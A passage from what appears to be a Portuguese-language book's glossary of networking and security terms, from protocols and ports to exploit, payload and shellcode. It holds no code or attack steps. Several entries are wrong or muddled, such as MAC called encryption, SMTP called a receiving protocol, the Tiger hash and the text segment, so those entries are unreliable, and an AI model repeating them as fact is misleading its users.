Echo Request: É uma mensagem ICMP onde é enviado um pacote de dados com o
endereço da máquina destino e vai ficar a espera de receber um Echo
Reply para saber se a maquina realmente existe.
Echo Reply: É uma mensagem ICMP de resposta a uma mensagem Echo Request
recebida da máquina destino.
EIP: É a abreviatura para “Extended instruction pointer”, aponta para o
código que está a ser executado no momento. Quando se efectua uma
chamada a uma função o valor do registo é guardado na pilha para ser
usado mais tarde.
ESP: É a abreviatura para Extended stack pointer, aponta para a posição
actual da pilha. Permite que se adicione e remova elementos da pilha
através de operações de “push” (para acrescentar um elemento à pilha) e
“pop” para retirar um elemento da pilha ou permite ainda que se consiga
manipular directamente a pilha.
Exploit: Um exploit refere-se a um programa, ferramenta (conjunto de
programas), ou técnica que tem por objectivo explorar uma
vulnerabilidade encontrada, uma falha no hardware ou software, para
elevar o nível de privilégio de acesso ao sistema, corromper a integridade
do sistema ou dados, ou levar a que o sistema deixe de estar disponível.
232
FIN: A conexão TCP passa a ser monitorizada desde que o primeiro pacote é
enviado numa conexão. Assim esta flag é enviada do cliente ao servidor
quando este quiser finalizar uma conexão estabelecida e do servidor ao
cliente para informar de que a conexão foi terminada com sucesso, ou
seja, para terminar uma conexão o cliente envia um pacote com a flag
FIN ao servidor, e este ao receber o respectivo pacote envia outro com a
mesma flag.
Frame: Também denominada de Trama. É o nome que se dá ao PDU (protocol
data unit) na camada de ligação de dados do modelo OSI. Cada frame
contém os dados, o endereço do emissor e do receptor e caracteres que
avisam o início e o fim da frame na transmissão de pacotes.
FTP: O protocolo de transferência de ficheiros (File Transfer Protocol) é um
serviço que usa o protocolo TCP e usa a porta 20 e 21. Este serviço é
usado para transferir ficheiros entre computadores (carregar e
descarregar ficheiros). Era o protocolo mais usado na transferência de
informação na Internet antes do protocolo HTTP. A porta 20 é usada
para transferir os dados entre o cliente e o servidor e a porta 21 e usada
para controlo de comunicação e para a troca de comandos entre o cliente
e o servidor.
HTTP: O protocolo de transmissão de hipertexto (Hypertext Transfer Protocol)
usa a porta 80 e é usado para transmitir dados entre um servidor e um
cliente.
ICMP: Internet Control Message Protocol é um protocolo que é usado para a
manutenção do protocolo IP.
IDEA: International Data Encryption Algorithm é um algoritmo de encriptação
que foi desenvolvido com o objectivo de substituir o DES e tornar as
implementações de software mais eficiente. Usa uma chave de 128 bits.
IMAP: O Internet Message Access Protocol é um protocolo que permite ao
utilizador aceder ao servidor de e-mail. Este protocolo não permite
233
alterar os e-mails offline como acontece com o POP3 mas traz vantagens
para utilizadores que tem por habito aceder a caixa de e-mails a partir de
vários computadores diferentes.
Internet: A Internet é uma rede que faz a ligação das redes a nível mundial
permitindo a troca de informação entre milhões de computadores.
Permite o acesso a vários serviços a escala mundial como correio
electrónico, transferência de arquivos, chat, acesso remoto a maquinas,
etc.
IP forwarding:
É uma propriedade que permite que um dispositivo faça o
reencaminhamento de pacotes IP.
IPSec: É um conjunto de padrões utilizado para garantir uma comunicação
segura entre dois computadores, mesmo que a informação não esteja a
ser transportada por um meio seguro. Este protocolo é baseado num
modelo ponto-a-ponto.
IRC: O Internet Relay Chat é um protocolo de comunicação de texto simples
que é utilizado para conversação (chat), que permite conversas em
privado ou em grupos e troca de ficheiros.
ISN: O número de sequência inicial (Initial Sequence Number) é um número
definido no início de uma secção durante uma transmissão TCP.
ISP: Um Internet Service Provider é uma empresa prestadora de serviço à
Internet. Estas empresas fazem as ligações dos computadores a um
servidor que está permanentemente ligado a Internet. O servidor do ISP
faz a comutação de informação entre os vários computadores a nível
mundial.
LAN (Rede local):
234
Uma rede local (Local Area Network) consiste em dois ou mais
computadores ligados entre si com a finalidade de trocar informação.
Estas redes cobrem uma área local de 10Km no máximo.
MAC: O Message Authentication Code é um algoritmo de encriptação que
possui a mesma propriedade que os algoritmos de hash, mas depende de
uma chave para garantir a integridade de uma mensagem. A sua forma de
encriptação é a encriptação simétrica. Não é indicado para garantir a
segurança dos dados.
MD5: O Message-Digest algorithm 5 é um algoritmo de hash unidireccional
que usa 128 bits para a encriptação.
NetBEUI: Este protocolo foi desenvolvido como extensão do NetBIOS. O nome
NetBEUI passou a ser usado quando os recursos da netBIOS foram
estendidos e tornaram-se mais elaborados, formando o protocolo
complexo que é usado actualmente. O NetBEUI foi concebido para ser
usado apenas em redes pequenas, e assim tornou-se um protocolo
simples, com bom desempenho, razoavelmente rápido e não precisa de
nenhuma configuração manual.
Pacote: Um pacote ou datagrama é um conjunto de dados que circulam na rede.
Contém informações de um emissor para um receptor. Alem da parte da
informação possui um cabeçalho com o endereço do dispositivo emissor
e do dispositivo receptor, prioridades, …
Payload: É a parte adicional de um malware que contem uma ou mais funções a
executar.
PDU: No modelo OSI, que se encontra dividido por camadas, consiste na forma
como se designa uma unidade de dados, ou seja, é o nome dado a uma
unidade que se encontra pronta para enviar para a rede e que contem os
dados que se pretende enviar e a informação do protocolo que tem de ser
acrescentada aos dados numa determinada camada.
235
Phrack: É uma revista electrónica publicada por hackers destinada a toda a
comunidade hacker.
POP3: O Post Office Protocol é um protocolo que permite aceder a uma caixa
de correio electrónico remoto. Este protocolo permite que as mensagens
de um servidor e-mail sejam transferidas sequencialmente para um
dispositivo local onde podem ser lidas, apagadas, etc. Assim, este é um
protocolo considerado offline, uma vez que, depois de as mensagens
serem transferidas para o dispositivo local, estas podem ser manipuladas
mesmo depois de a conexão com o servidor ser desligada (offline).
Quando a conexão voltar a ser estabelecida a caixa de correio do servidor
é actualizado com as alterações efectuadas no dispositivo.
PPP: O protocolo ponto a ponto (point-to-point protocol) é um protocolo que
tem como objectivo transportar todo o tráfego de rede entre duas
máquinas.
RET: É o endereço de retorno (return address), ou seja, quando o programa
encontra uma chamada a outra função ele "salta" para executar a função
e depois retorna para a função de origem de onde foi feita a chamada e o
endereço dessa encontra-se no endereço de retorno.
RFC: É um documento que descreve os padrões de um protocolo para este
poder passar a ser designado como padrão.
RIR: Regional Internet Registry (RIR) é uma organização responsável pela
distribuição de endereços IP para cada região específica do mundo.
No momento os RIR’s são: ARIN (American Registry for Internet
Numbers), para a América do Norte; RIPE NCC (RIPE Network
Coordination Centre), para a Europa e Ásia central; APNIC (Ásia-
Pacific Network Information Centre), para a Ásia e região do Pacifico.
LACNIC (Latin American and Caribbean Internet Address registry)
236
para a America Latina e região das Caraíbas; AfriNIC (African Network
Information Centre) para o continente da Africa.
RPC: Procedimento remoto (Remote Procedure Call) fornece um mecanismo
de comunicação entre processos. Através dele é possível chamar um
procedimento que se encontre num programa de uma máquina remota,
passando parâmetros e recebendo resultados.
RSA: É um dos algoritmos de encriptação que usa duas chaves com números
primos, uma chave pública, usada para cifrar a mensagem e uma chave
privada, usado para decifrar a mensagem.
Root: É o nome de um tipo de utilizador que pode controlar tudo num sistema
operativo Unix. Este utilizador tem acesso sem restrições a todos os
arquivos, processos do sistema e hardware.
SCSI: É a sigla para Small Computer System Interface e trata-se de uma
tecnologia criada com o objectivo de aumentar a taxa de transferência de
dados entre dispositivos de um computador. È muito utilizado para a
conexão com o disco rígido, scanner, CD-ROM, impressoras ou qualquer
outro tipo de dispositivo que necessite de uma alta transferência de
dados.
Segmento: Nome que se dá a unidade de dados (PDU) na camada de transporte.
Semiocteto: O semiocteto, também conhecido por nibble representa a metade de um
Octeto (4 bits).
SFP: É abreviação de Stack Frame Pointer é o registo que guarda o endereço
da pilha (stack).
SHA-1: É um algoritmo de hash seguro que gere um resultado de 160 bits. É
considerado sucessor do MD5 por ser mais seguro.
237
Shellcode: É um conjunto de instruções em assembly que tem como função fornecer
uma Shell ao utilizador.
SHELL: É uma interface que é utilizado como meio de interacção entre o
utilizador e o computador. Este programa interage como uma linha de
comando representado por um prompt. O utilizador insere comandos que
serão interpretados e executados pelo dispositivo.
SLIP: O Serial Line Internet Protocol é um protocolo de comunicação ponto-a-
ponto.
SMTP: O Simple Mail Transfer Protocol é uma aplicação e um protocolo
TCP/IP que usa a porta 25, é utilizado para o envio de e-mail. Uma
mensagem enviada pelo protocolo SMTP tem duas partes, o endereço e
uma mensagem de texto. Este é um protocolo de recepção de e-mail, não
permite fazer downloads. Para isso é necessário um cliente de e-mail que
suporte POP3 ou IMAP, como é o caso da maioria dos clientes actuais.
SNMP: O Simple Network Management Protocol é um serviço UDP e usa as
portas 161 e 162. Foi desenvolvido para monitorizar a Internet de forma
eficiente e barata. Apresenta alguns problemas de segurança pelo facto
de a informação ser transmitida em texto.
SSH: Secure Shell é um programa de computador e um protocolo de rede.
Permite a conexão de um computador a outro de forma a executar
comandos nele. Possui as mesmas funcionalidades do Telnet mas a troca
de dados é cifrada.
Spam: É uma mensagem de correio electrónico indesejada.
Stack (pilha): Uma pilha é uma estrutura de dados baseada no principio de: O último a
chegar é o primeiro a sair (Last in first out, LIFO).
Statfull firewall:
238
É uma firewall inteligente que verifica a quantidade de acessos a uma
determinada porta e, caso este ultrapasse o número máximo de acessos
determinado pelo administrador de rede, a referida porta é fechada
automaticamente. Este conceito de firewall inteligente permite, também
saber a quantidade de mensagens enviadas pelo utilizador e bloquear
arquivos de e-mail com uma determinada extensão.
SYN cookies: É uma opção usada para proteger uma máquina dos ataques Syn flood.
TCP: Este é um dos protocolos mais usados, porque garante a entrega de dados
no destino.
Telnet: È um protocolo de comunicação cliente-servidor, baseado no protocolo
TCP. É usado para permitir a comunicação entre computadores ligados
na rede e também permite obter acesso remoto a um computador. È
bastante usado em chat’s como o IRC. Permite efectuar a ligação a um
computador em modo de texto. Este serviço usa a porta 23. Não é uma
forma de comunicação segura uma vez que a informação é transportada
em formato texto.
Text Segment:
É um segmento da pilha apenas de leitura que contém o código
executável do programa.
TFTP: O Trivial File Transfer Protocol é um protocolo que usa a porta 69 e é
baseado no protocolo UDP para a transmissão de dados. Não requer de
autenticação.
Tiger: É um algoritmo de hash que 64 bits que usa uma chave de 192 bits.
TTL: O Time To Live especifica o número de routers por quais um pacote que
circula na rede pode passar até ser descartado. Os routers são
programados para decrementar uma unidade do TTL aos pacotes que
passam por este. Evita que pacotes perdidos congestionem a rede ao
permanecerem nesta por muito tempo, caso o rooting não esteja a ser
feito devidamente. Quando um pacote é descartado o dispositivo emissor
239
recebe a notificação do erro e volta a transmitir o pacote.
TOS: Tem como função especificar qual é a prioridade de um determinado
pacote. Existe um campo no cabeçalho dos pacotes que traduz essa
especificação. A prioridade dos pacotes é feita usando o algoritmo FIFO
(first in first out) do kernel. Esta é uma das alternativas para controlo de
tráfego mais rápida e simples.
Trama: Também denominada de Frame. É o nome que se dá ao PDU (protocol
data unit) na camada de ligação de dados do modelo OSI. Cada frame
contém os dados, o endereço do emissor e do receptor e caracteres que
avisam o início e o fim da frame na transmissão de pacotes.
Uuencode: É um algoritmo que codifica dados em código ASCII derivado do Unix-
to-Unix encode. È considerado um protocolo universal usado para
transferir ficheiros entre diferentes plataformas como UNIX e Windows.
UDP: User Datagram Protoco é o protocolo que permite o envio de dados
através da Internet, considerado pouco seguro porque não garante que os
dados sejam entregues no destino, que não se encontrem alterados nem
que cheguem pela ordem pela qual foram enviados. Este protocolo não é
orientado á ligação.
URL: Um URL(Universal Resource Locator) é o endereço de um recurso
(ficheiro, impressora, computador, …) que está ligado á rede (Internet ou
Intranet) e que tem a estrutura:
“protocolo://dispositivo/caminho/recurso”.
XOR: É uma forma de encriptação de dados. Baseia-se num algoritmo que usa
a função lógica “OU exclusivo” (representado na linguagem C pelo
carácter ‘^’ (e)).
WEP: Wired-Equivalent Privacy é um padrão de encriptação para redes
wireless que faz parte do padrão IEEE 802.11. Este padrão encarrega-se
240
de cifrar a informação que circula na rede. É um método inseguro e deve
ser escolhido um método mais seguro para implementar, como o WPA ou
WPA2.
WPA: Wi-Fi Protected Access tem em vista fornecer segurança numa rede
wireless. Foi criada para corrigir as falhas encontradas no sistema que
era usado anteriormente, que era o WEP (wireless Equivalent Privacy).
Foi desenhado para funcionar com todas as placas wireless.
WPA2: Wi-Fi Protected Access2 também denominado IEEE 802.11i, apareceu
para tentar corrigir as falhas de segurança encontradas no WPA, utiliza
para encriptação, Advanced Encryption Standard (AES) block cipher;
WEP e WPA (RC4 stream cypher) para garantir a confidencialidade dos
dados, a integridade dos dados e a origem. WPA2 implementa a
totalidade da especificação IEEE 802.11i o que faz com que não seja
compatível com placas mais antigas.